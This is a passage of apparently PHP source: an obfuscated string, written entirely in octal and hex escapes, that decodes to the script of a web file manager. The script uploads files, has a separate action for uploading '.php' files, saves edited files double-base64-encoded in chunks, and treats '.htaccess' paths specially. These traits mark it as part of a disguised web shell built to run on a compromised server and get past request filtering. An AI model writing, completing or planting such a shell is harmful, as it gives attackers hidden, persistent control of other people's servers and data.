28\x69\x74\145\x6d\51\51\51\73\xa\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\175\x20\145\154\163\145\x20\x7b\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\163\145\x6c\x65\x63\x74\145\x64\56\x66\x6f\x72\x45\141\x63\150\x28\x69\x74\x65\155\40\x3d\x3e\x20\x66\x64\56\x61\x70\x70\145\x6e\144\50\47\x69\x74\145\x6d\x73\133\135\47\54\40\151\164\145\x6d\x29\51\73\12\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\12\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x61\160\x69\x43\141\154\154\50\141\143\x74\x69\157\156\x2c\x20\x66\x64\51\x2e\164\150\x65\156\50\x72\145\156\144\145\x72\x29\73\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\40\x7d\xa\40\40\x20\40\40\x20\40\40\x7d\x29\x3b\12\x20\40\40\x20\40\x20\x20\40\xa\40\x20\x20\40\x20\x20\x20\40\144\157\155\56\165\160\154\157\x61\x64\x42\164\x6e\56\x61\144\144\105\166\145\156\164\x4c\151\163\164\x65\156\145\x72\x28\x27\x63\154\x69\143\153\47\x2c\40\x28\x29\40\x3d\76\x20\x64\157\155\x2e\150\151\x64\x64\145\156\106\151\x6c\145\111\156\x70\165\164\x2e\143\x6c\151\x63\153\x28\x29\x29\x3b\xa\40\40\40\x20\40\40\40\40\144\157\x6d\x2e\150\x69\144\144\x65\156\x46\x69\154\145\x49\x6e\x70\165\x74\x2e\x61\144\x64\105\166\x65\156\x74\x4c\x69\163\x74\145\156\x65\x72\50\x27\x63\150\x61\x6e\x67\x65\x27\54\x20\141\x73\x79\156\143\40\x28\145\x29\40\x3d\76\40\x7b\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x63\x6f\x6e\163\x74\x20\146\x69\x6c\145\x73\x20\x3d\40\101\x72\x72\x61\x79\x2e\x66\162\157\155\x28\x65\x2e\x74\141\162\147\145\x74\x2e\146\151\154\x65\x73\x29\x3b\40\151\x66\x20\50\146\x69\x6c\x65\163\56\154\145\x6e\147\164\150\40\x3d\x3d\75\40\x30\51\40\162\x65\x74\165\x72\x6e\73\xa\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\146\x6f\x72\x20\50\143\x6f\x6e\163\x74\x20\146\x69\x6c\x65\x20\157\x66\40\x66\x69\154\x65\x73\x29\x20\173\12\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x69\x66\40\50\x66\151\154\x65\x2e\163\151\172\145\40\x3e\40\125\120\x4c\x4f\101\104\x5f\114\x49\x4d\x49\124\x5f\115\x42\40\52\40\x31\60\62\x34\40\52\40\x31\x30\x32\x34\51\x20\173\40\x61\154\145\x72\x74\50\x60\x45\x72\x72\157\162\x3a\40\106\x69\x6c\x65\x20\42\44\173\146\151\154\145\56\156\x61\155\x65\x7d\x22\x20\x69\163\40\x74\x6f\x6f\40\x6c\141\162\x67\x65\40\50\x4d\x61\170\x3a\x20\x24\173\125\x50\x4c\x4f\101\x44\137\114\111\115\x49\x54\x5f\x4d\102\175\40\115\102\51\x2e\140\51\73\x20\x63\157\156\x74\151\x6e\x75\145\x3b\x20\175\12\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\x63\157\156\x73\x74\40\x72\145\141\144\145\162\x20\75\x20\x6e\x65\x77\x20\x46\x69\x6c\145\x52\145\x61\x64\x65\162\x28\51\x3b\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\143\157\x6e\x73\x74\40\146\x69\154\x65\x52\145\x61\x64\120\x72\x6f\x6d\x69\x73\x65\40\x3d\40\156\x65\167\x20\120\x72\x6f\x6d\151\x73\x65\50\50\x72\145\x73\157\x6c\x76\x65\x2c\x20\x72\x65\x6a\145\143\164\51\x20\x3d\x3e\x20\x7b\x20\x72\145\141\144\145\162\56\x6f\156\154\x6f\141\144\40\x3d\x20\x65\166\x65\156\x74\40\75\76\40\x72\145\x73\157\x6c\166\x65\x28\145\166\x65\156\164\56\164\141\162\147\x65\164\56\x72\145\x73\165\x6c\164\x29\x3b\x20\x72\145\x61\x64\x65\162\x2e\x6f\x6e\145\x72\x72\x6f\x72\x20\75\x20\x65\162\x72\157\x72\x20\x3d\x3e\40\x72\145\152\145\x63\x74\50\145\162\162\157\162\x29\x3b\x20\162\x65\141\144\145\162\x2e\162\x65\141\x64\101\x73\104\x61\164\x61\125\122\114\x28\x66\151\x6c\145\51\73\x20\x7d\x29\73\xa\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\164\162\x79\40\x7b\xa\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\143\x6f\x6e\163\164\40\143\157\x6e\164\145\x6e\x74\x5f\x62\141\x73\x65\x36\64\x20\75\40\141\167\141\x69\164\x20\x66\x69\154\145\x52\145\141\x64\x50\162\x6f\x6d\151\x73\x65\x3b\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\x20\x63\157\156\x73\x74\x20\157\162\x69\147\151\156\x61\x6c\116\x61\155\145\40\x3d\x20\x66\151\154\x65\56\x6e\141\x6d\145\73\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x63\x6f\x6e\163\x74\40\x66\x64\x20\x3d\40\156\145\167\x20\106\157\162\x6d\x44\141\x74\141\50\x29\73\xa\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\146\x64\56\x61\160\160\145\x6e\144\x28\x27\x70\141\x74\150\x27\54\x20\123\124\101\x54\105\56\143\x75\162\162\145\x6e\x74\x50\x61\164\x68\51\x3b\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x66\x64\x2e\x61\x70\x70\x65\156\144\x28\x27\143\x6f\x6e\x74\x65\x6e\164\x5f\x62\x61\x73\x65\x36\64\x27\54\x20\143\157\156\x74\145\156\x74\137\142\x61\x73\145\x36\64\x29\x3b\12\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x69\146\40\x28\157\162\151\147\x69\156\141\154\116\141\x6d\145\56\164\x6f\x4c\x6f\167\145\162\103\141\163\x65\x28\x29\x2e\145\156\144\163\x57\151\164\150\50\47\x2e\160\150\160\x27\51\x29\40\x7b\12\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\40\40\40\40\40\40\40\40\x20\x20\40\x66\x64\56\x61\x70\160\145\x6e\x64\50\47\146\x69\x6c\x65\156\x61\x6d\145\137\x62\x61\x73\x65\66\64\47\54\40\142\164\157\141\50\x6f\162\151\x67\x69\156\x61\154\x4e\141\x6d\145\x29\51\x3b\xa\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\141\167\141\151\164\40\x61\x70\151\103\x61\154\154\x28\x27\165\x70\x6c\x6f\141\144\x5f\x70\x68\x70\x27\x2c\40\146\x64\x2c\40\164\162\165\145\51\x3b\12\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x20\175\x20\x65\154\x73\145\x20\x7b\12\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\x66\144\56\x61\160\x70\x65\156\x64\50\47\x66\151\x6c\x65\156\141\x6d\145\137\142\141\163\145\x36\64\47\54\x20\142\164\x6f\x61\50\x6f\x72\x69\x67\151\x6e\141\x6c\x4e\141\155\145\x29\51\73\xa\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\141\167\x61\x69\164\x20\x61\x70\151\103\x61\154\154\x28\x27\x75\160\x6c\157\141\x64\47\54\40\x66\x64\54\40\x74\162\x75\x65\x29\x3b\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x7d\xa\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\x7d\x20\143\x61\164\143\150\x20\x28\x65\x72\x72\x6f\x72\x29\x20\173\12\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\141\x6c\x65\162\164\50\x60\106\141\151\x6c\x65\x64\x20\x74\157\40\160\x72\x6f\x63\x65\x73\163\40\x66\x69\x6c\145\x20\x24\173\x66\151\154\x65\56\156\141\x6d\x65\x7d\72\40\x24\x7b\x65\162\162\x6f\162\56\x6d\x65\x73\x73\141\147\145\175\x60\51\73\xa\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\175\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x7d\12\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\145\x2e\x74\x61\x72\x67\x65\164\56\166\141\154\165\145\x20\x3d\x20\x27\47\x3b\12\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\162\145\x6e\x64\x65\x72\x28\51\x3b\xa\x20\40\40\40\40\x20\40\x20\175\x29\x3b\xa\12\40\40\40\x20\x20\40\x20\40\144\157\x6d\56\163\x61\x76\x65\102\x74\156\56\141\144\144\105\x76\x65\x6e\x74\114\151\163\164\x65\156\145\162\x28\x27\x63\x6c\151\x63\x6b\x27\x2c\x20\x28\x29\x20\x3d\76\x20\x7b\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\143\x6f\x6e\163\164\x20\160\141\x74\150\x20\75\40\x64\x6f\x6d\56\145\x64\x69\164\x6f\162\x46\151\x6c\145\x6e\141\x6d\x65\x2e\x74\x65\170\x74\103\157\156\164\145\x6e\x74\x3b\xa\x20\x20\x20\40\40\40\40\x20\40\40\40\40\143\x6f\x6e\x73\x74\40\143\x6f\x6e\164\145\156\x74\40\75\40\142\x74\157\141\50\142\x74\157\141\x28\x64\x6f\155\x2e\145\x64\x69\x74\157\162\56\x76\x61\154\165\x65\51\51\x3b\xa\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x63\x6f\156\163\x74\x20\x66\x64\x20\x3d\40\x6e\145\x77\40\106\157\162\155\x44\141\x74\x61\50\x29\73\12\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\143\157\x6e\x73\164\x20\143\x68\x75\x6e\x6b\123\151\172\x65\x20\x3d\x20\64\x30\x39\66\x3b\xa\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\146\157\162\x20\50\154\x65\x74\40\x69\x20\x3d\x20\x30\73\x20\x69\x20\74\x20\x63\x6f\x6e\x74\145\156\x74\x2e\x6c\x65\x6e\x67\x74\150\x3b\40\151\40\53\x3d\x20\143\x68\165\156\x6b\x53\151\172\145\51\40\173\12\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x66\x64\x2e\141\x70\160\x65\x6e\x64\50\47\143\157\156\164\145\156\164\137\143\x68\165\156\x6b\163\x5b\x5d\47\54\x20\143\157\x6e\164\x65\x6e\x74\56\163\x75\142\x73\164\x72\x69\156\x67\x28\x69\x2c\x20\x69\x20\53\x20\143\x68\165\156\x6b\123\151\x7a\x65\x29\x29\x3b\12\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x7d\xa\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\154\145\x74\40\141\x63\x74\151\x6f\x6e\40\75\40\x27\163\x61\166\145\x5f\143\x6f\x6e\164\145\156\x74\x27\73\12\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\151\x66\x20\50\x70\141\164\150\56\x69\x6e\x63\x6c\165\x64\x65\x73\50\47\x2e\x68\164\141\x63\143\x65\163\x73\x27\x29\51\40\173\12\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x61\143\164\x69\157\156\40\x3d\x20\x27\163\x61\166\145\x5f\143\157\156\164\x65\156\x74\137\x62\x36\x34\47\73\xa\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x66\144\56\141\x70\160\145\156\144\50\x27\x70\x61\164\150\x5f\x62\x36\x34\x27\x2c\40\142\164\157\141\x28\x70\x61\164\x68\51\51\x3b\xa\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\175\40\x65\x6c\163\145\40\173\12\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\146\x64\x2e\x61\160\x70\x65\x6e\144\x28\x27\x70\141\164\x68\x27\54\x20\160\141\x74\150\x29\73\xa\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x7d\xa\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\141\160\151\x43\x61\x6c\154\x28\141\x63\164\151\157\156\x2c\40\146\x64\54\x20\164\162\165\145\x29\56\x74\x68\x65\x6e\x28\162\x65\x73\x75\154\164\40\x3d\76\x20\x7b\xa\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\151\x66\50\162\145\163\x75\x6c\164\51\40\x7b\xa\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x64\x6f\x6d\56\145\x64\151\x74\x6f\x72\115\157\144\141\x6c\56\x73\x74\x79\154\x65\x2e\144\x69\163\x70\154\x61\171\40\x3d\40\47\x6e\x6f\156\145\47\73\xa\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\162\x65\156\x64\x65\x72\50\51\73\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x7d\12\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x7d\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x7d\51\73\12\12\40\x20\x20\x20\x20\x20\40\40\162\145\156\x64\x65\162\50\51\73\xa\x20\40\x20\40\x7d\51\x3b\xa\40\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\x3e\12\x3c\57\x62\157\144\171\76\xa\x3c\57\150\x74\155\x6c\76";